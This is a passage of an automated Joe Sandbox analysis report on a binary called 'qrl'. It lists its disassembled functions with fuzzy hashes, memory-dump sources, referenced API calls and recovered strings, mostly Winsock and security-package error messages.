Opcode Fuzzy Hash: 321500b52ae8c017c5499ce3c205476b8a9d40ddb7b949b4527eb8a3fb48515d
Instruction Fuzzy Hash: D361F4716067109FE724DE14E841B2BB3E4FF61318F084928E89987291EB71EC54EB72

Function 00D27A5E Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1
*, xrefs: 00D28BF4

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: *$Internal error clearing splay node = %d
API String ID: 0-4114038171
Opcode ID: 1068f3a3935ff889473e7df9999973506b5d0b2069d4a43da9e491c2ef27c0ce
Instruction ID: 2e113dbc6e824a641fc3ee02aad46f9b1ff2ddcd371c151f1aab31625ef560f1
Opcode Fuzzy Hash: 1068f3a3935ff889473e7df9999973506b5d0b2069d4a43da9e491c2ef27c0ce
Instruction Fuzzy Hash: 1761E4716063109FE7249E14E841B6BB3E4FF61318F084928F99987391EB71EC54EB72

Function 00D66C00 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

isupper.MSVCRT ref: 00D66CD6

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: isupper
String ID:
API String ID: 2794029478-0
Opcode ID: dcd56c2f5f2545af8dcf2a6ba82998e90c5bcf02f63e65959b9f486762935bd2
Instruction ID: be46b410e615c6e88b69ff159c23f55d00882d72a4214ff25a739da29b519db0
Opcode Fuzzy Hash: dcd56c2f5f2545af8dcf2a6ba82998e90c5bcf02f63e65959b9f486762935bd2
Instruction Fuzzy Hash: 9251D5746083559BC710EF28D99056BBBE4EF96344F18892CECD687251EB31DD08CBB2

Function 00D27959 Relevance: 1.5, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 93a9837b189e69bbc56cc5eb33bda6df813a5588235ce805a8317c55544f7586
Instruction ID: 0006cddab96a3973aec10b5b9b2063e60d0176b51c3d1e1e6a62c747d92d5b9b
Opcode Fuzzy Hash: 93a9837b189e69bbc56cc5eb33bda6df813a5588235ce805a8317c55544f7586
Instruction Fuzzy Hash: C071C1716053109FD724DF14E881B6BB3E4EF65308F08482CE99A8B392DB71EC44AB72

Function 00D26370 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D2645F

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: a9e0c52009f683befca1bb66462085c3f0673c32a00b57fb8eca355357e43c82
Instruction ID: 36ed1445dfc860568dfe3e98b562d5e0d8f6a3f195499c00b6a6d3892322a017
Opcode Fuzzy Hash: a9e0c52009f683befca1bb66462085c3f0673c32a00b57fb8eca355357e43c82
Instruction Fuzzy Hash: 4C61A270704712AFD728DF20E850B66F7A4FF60308F088629E85987681D775F859CBB1

Function 00D2785D Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: 9e0f93e7b89db82fb7808b71774b1ca84ab98ded4df6a9043d24d37323667d74
Instruction ID: 1825dfde11b9d0d720d46575d369fd35de18653bd039424ca6fa38322a7e6cc8
Opcode Fuzzy Hash: 9e0f93e7b89db82fb7808b71774b1ca84ab98ded4df6a9043d24d37323667d74
Instruction Fuzzy Hash: 2A61C2716067109FD724DE24E841B6BB3E5FF61318F084829E89A87391EB71EC54AB72

Function 00D27641 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

Internal error clearing splay node = %d, xrefs: 00D28AD1

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Internal error clearing splay node = %d
API String ID: 0-3978297105
Opcode ID: c17bac5c7807e570e308b5d438e08314b6d5332daf0eb54a2f238822c9b5bbb7
Instruction ID: 41e52fd2883839a58e2bf135b75d53cad17b6e0ee676f80dc5193aea5102c69f
Opcode Fuzzy Hash: c17bac5c7807e570e308b5d438e08314b6d5332daf0eb54a2f238822c9b5bbb7
Instruction Fuzzy Hash: 1351E3716067109FD724DF14E842B6BB3E4FF61318F084828F89A87291EB71ED54AB72

Function 00D3DAD0 Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

Shuffling %i addresses, xrefs: 00D3DB09

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: Shuffling %i addresses
API String ID: 0-3589116693
Opcode ID: 7c79fe24c63def6fce4481927ee7e703bd1df036c5aa7e158869382f08a9e8ee
Instruction ID: f022dd9a3ab43f816e61f454693315f916b333f17d03ba56c48cec640596089f
Opcode Fuzzy Hash: 7c79fe24c63def6fce4481927ee7e703bd1df036c5aa7e158869382f08a9e8ee
Instruction Fuzzy Hash: BE316D75A042049FD310DF28E94492BB7F6EF8A314F1A4468E98AD7311E731ED16CFA6

Function 00D65360 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

WARNING: Using weak random seed, xrefs: 00D653CB

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID: WARNING: Using weak random seed
API String ID: 0-2797872110
Opcode ID: 5acef7fccc2b4ce093977a588e463168beab39778d1da4b65a3f89af51b805b8
Instruction ID: 51a8a259b5723487347bfc26d3de92bfd93862beabd1738ab23492b639ee2455
Opcode Fuzzy Hash: 5acef7fccc2b4ce093977a588e463168beab39778d1da4b65a3f89af51b805b8
Instruction Fuzzy Hash: 5F210776A043018FD710DE14AC8162AB7E9EBD1305F184539E5DAD7258D731EC858BB2

Function 00D7F270 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9510e5371856a57da19edf6cab7953d95cf420efcc6c5383e748b0cf7e06187
Instruction ID: 90814036b7b51174caa0ed038aef054a79e5acfe927b2d4f0d7f8bb411d1f967
Opcode Fuzzy Hash: f9510e5371856a57da19edf6cab7953d95cf420efcc6c5383e748b0cf7e06187
Instruction Fuzzy Hash: E851C2B1505304ABD720AF299C85B2BBAE8EF85319F088579F88C97252F731DC14D772

Function 00D7ADE0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a9abf2b86dd5c4cf84c014abc39f56c48a2afaead625168a3f8f0de17a15374
Instruction ID: 8e820a1bddbedbae8d88ff5b91258872ed684409ebf87562a9a95189e8ec3860
Opcode Fuzzy Hash: 7a9abf2b86dd5c4cf84c014abc39f56c48a2afaead625168a3f8f0de17a15374
Instruction Fuzzy Hash: 1F3173E2A0030867D6207EA46CC6F6B726CDF91705F48443DF91D12203FA65B91887B3

Function 00D7E8A0 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f5524f8d8b16562d9298b96eebaf70be66c1d755a52b00116447d578959013b
Instruction ID: f5086e0effb8f3f4a200f1a411dfb1650c8bf80f0a6409668bdb0951ffc9bc14
Opcode Fuzzy Hash: 0f5524f8d8b16562d9298b96eebaf70be66c1d755a52b00116447d578959013b
Instruction Fuzzy Hash: 354191716086019FC714DF14C880A6BB7A4FB98319F2889ADE49D97251E330DD09CB62

Function 00D27360 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: ae435c540959eddb72ecfd697161aaabb4a8d1fbf00b198255eca3aab58b2ab7
Instruction ID: d5bb19e95c4afb9abe165499b5c86d465c715b04f735fddde69116d7dd15c777
Opcode Fuzzy Hash: ae435c540959eddb72ecfd697161aaabb4a8d1fbf00b198255eca3aab58b2ab7
Instruction Fuzzy Hash: 04415B71908325AFDB20AF54D840B5BBBE5FFA4318F09896CED5857212D371AC51CBA1

Function 00D53C90 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: facf62b0738197f8f2bad35efd3e709c04c41603ade51e048969b0a60cb51b2d
Instruction ID: f2c9ccdb88ab44b5c0d50fe890b89b0ba83581c337571a79403f6b5c3d6f7f8d
Opcode Fuzzy Hash: facf62b0738197f8f2bad35efd3e709c04c41603ade51e048969b0a60cb51b2d
Instruction Fuzzy Hash: BCF081329086159FDF118F84C880927F768FF89359B090529EE5477201D332FD68DBA0

Function 00D8C0F0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59162168693bff71874ab2cbc88fcb23bd6e88951ecf10041ad922ca9b325d38
Instruction ID: 9f2b2d4b325943113ea0e733739d8f8e8658b449a8b1e5677b718e76650134dd
Opcode Fuzzy Hash: 59162168693bff71874ab2cbc88fcb23bd6e88951ecf10041ad922ca9b325d38
Instruction Fuzzy Hash: F5D0C9356122028BDF08CE28C0A493AB3B0AF87704B68A49C9801DB201C632EC02CA14

Function 00D85060 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f80d8e245f194d8d2bf2fb3d226ac384b8585f80fcc80102d25122d63fc04889
Instruction ID: 9cc8d8e682c0130ac52c834146eb033abe8457faf5e1e2059f20ea852d8cc4b2
Opcode Fuzzy Hash: f80d8e245f194d8d2bf2fb3d226ac384b8585f80fcc80102d25122d63fc04889
Instruction Fuzzy Hash: 81D0122450D6924AC6054B329560936FFF1AAD7745F9C91CDE0C467666C126C800EBB5

Function 00D29F70 Relevance: 154.3, APIs: 26, Strings: 62, Instructions: 311stringCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00D248B2,?,00000000), ref: 00D29F7F
_errno.MSVCRT ref: 00D29F89
strerror.MSVCRT ref: 00D29FAC
strncpy.MSVCRT ref: 00D29FBB
GetLastError.KERNEL32 ref: 00D29FC8
_errno.MSVCRT ref: 00D29FD2
strncpy.MSVCRT ref: 00D2A1F6
_errno.MSVCRT ref: 00D2A205
_errno.MSVCRT ref: 00D2A212
GetLastError.KERNEL32 ref: 00D2A21A
SetLastError.KERNEL32(?), ref: 00D2A229
strrchr.MSVCRT ref: 00D2A239
strrchr.MSVCRT ref: 00D2A254
_errno.MSVCRT ref: 00D2A26B
_errno.MSVCRT ref: 00D2A275
GetLastError.KERNEL32 ref: 00D2A27D
SetLastError.KERNEL32(?), ref: 00D2A28C

Strings

Invalid arguments, xrefs: 00D2A072
Call interrupted, xrefs: 00D29FE8
Descriptor is not a socket, xrefs: 00D2A090
SEC_E_INTERNAL_ERROR, xrefs: 00D2A3CA
Socket is unsupported, xrefs: 00D2A0CC
Winsock version not supported, xrefs: 00D2A1C7
Host unreachable, xrefs: 00D2A18F
Bad protocol, xrefs: 00D2A0AE
Bad message size, xrefs: 00D2A0A4
Host not found, xrefs: 00D2A010
Unknown error %d (%#x), xrefs: 00D2A03C
Bad file, xrefs: 00D2A054
Call would block, xrefs: 00D2A086
Socket is already connected, xrefs: 00D2A144
Protocol family not supported, xrefs: 00D2A0E0
Host down, xrefs: 00D2A188
No data record of requested type, xrefs: 00D2A1EA
Protocol is unsupported, xrefs: 00D2A0C2
SEC_E_SECPKG_NOT_FOUND, xrefs: 00D2A3D4
Address family not supported, xrefs: 00D2A0EA
Network has been reset, xrefs: 00D2A11C
SEC_E_INVALID_HANDLE, xrefs: 00D2A3AC
Connection refused, xrefs: 00D2A173
Too many references, xrefs: 00D2A162
Network unreachable, xrefs: 00D2A112
Socket has been shut down, xrefs: 00D2A158
Winsock library not initialised, xrefs: 00D2A1CE
%s - %s, xrefs: 00D2A6C1
Disconnected, xrefs: 00D2A1D5
Host not found, try again, xrefs: 00D2A1DC, 00D2A1F4
Network down, xrefs: 00D2A108
Out of file descriptors, xrefs: 00D2A07C
Connection was reset, xrefs: 00D2A130
Address not available, xrefs: 00D2A0FE
Protocol option is unsupported, xrefs: 00D2A0B8
Connection was aborted, xrefs: 00D2A126
Bad quota, xrefs: 00D2A1AB
%s (0x%08X), xrefs: 00D2A646
Bad argument, xrefs: 00D2A068
Timed out, xrefs: 00D2A16C
Name too long, xrefs: 00D2A181
Winsock library is not ready, xrefs: 00D2A1C0
Operation not supported, xrefs: 00D2A0D6
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 00D2A3B6
Need destination address, xrefs: 00D2A09A
Something is stale, xrefs: 00D2A1B2
Unrecoverable error in call to nameserver, xrefs: 00D2A1E3
Loop??, xrefs: 00D2A17A
SEC_E_NOT_OWNER, xrefs: 00D2A3DE
SEC_E_TARGET_UNKNOWN, xrefs: 00D2A3C0
Process limit reached, xrefs: 00D2A19D
Bad access, xrefs: 00D2A05E
Blocking call in progress, xrefs: 00D29FF4
Socket is not connected, xrefs: 00D2A14E
No buffer space, xrefs: 00D2A13A
SEC_E_INSUFFICIENT_MEMORY, xrefs: 00D2A2FC
Remote error, xrefs: 00D2A1B9
Address already in use, xrefs: 00D2A0F4
Too many users, xrefs: 00D2A1A4
SEC_E_CANNOT_INSTALL, xrefs: 00D2A3E8
Unknown error, xrefs: 00D2A645
Not empty, xrefs: 00D2A196

Memory Dump Source

Source File: 00000043.00000002.2711681178.0000000000D11000.00000020.00000001.01000000.00000017.sdmp, Offset: 00D10000, based on PE: true

Associated: 00000043.00000002.2711640775.0000000000D10000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712197960.0000000000F9E000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2712250399.0000000000FA2000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713077210.0000000001061000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713436272.0000000001066000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.0000000001067000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2713886542.000000000106A000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 00000043.00000002.2714013918.000000000106B000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_67_2_d10000_qrl.jbxd

Similarity

API ID: ErrorLast_errno$strncpystrrchr$strerror
